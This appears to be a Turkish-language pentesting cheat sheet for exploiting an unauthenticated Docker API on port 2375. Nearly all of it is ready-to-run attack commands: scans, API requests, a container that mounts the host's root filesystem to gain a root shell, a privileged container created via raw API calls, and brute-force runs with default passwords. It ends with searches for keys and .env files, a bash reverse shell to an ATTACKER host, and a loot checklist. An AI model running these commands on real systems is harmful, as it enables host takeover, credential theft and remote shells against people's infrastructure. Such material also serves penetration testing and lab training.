Skip to content

2375 - Pentesting Docker

Docker API rce

TCP/2375 korumasız Docker socket demektir. Container oluşturup host filesystem mount = root. Hedef lab IP’si üzerinde komutları 2375 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 2375/2376 doğrula.

  2. Unauth /version /containers.

  3. Privileged container + host mount.

  4. Hostta komut/credential loot.

Terminal window
nmap -Pn -sV -p2375,2376 TARGET
Terminal window
nmap -Pn -p2375,2376 --script docker-version TARGET
Terminal window
curl -s http://TARGET:2375/version
Terminal window
curl -s http://TARGET:2375/containers/json
Terminal window
docker -H tcp://TARGET:2375 run -v /:/mnt --rm -it alpine chroot /mnt sh
Terminal window
curl -s -X POST http://TARGET:2375/containers/create -H 'Content-Type: application/json' -d '{"Image":"alpine","Cmd":["id"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
Terminal window
curl -s -X POST http://TARGET:2375/containers/ID/start
Terminal window
curl -vk --cert cert.pem --key key.pem https://TARGET:2376/version
çalıntı client cert = aynı etki

Docker için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p2375 TARGET
Terminal window
nmap -Pn -p2375 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:2375' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',2375));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → Docker
Terminal window
hydra -L users.txt -P rockyou.txt -s 2375 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 2375
Terminal window
nmap -p2375 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit Docker API
Terminal window
msfconsole -q -x 'search Docker API; exit'
Terminal window
nuclei -u https://TARGET:2375 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:2375 -tags tech -silent || true
Terminal window
nc -nv TARGET 2375
Terminal window
printf '
' | timeout 3 nc -nv TARGET 2375
Terminal window
curl -vk --http1.0 http://TARGET:2375/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
unauth 2375 → alpine + / mount → host root shell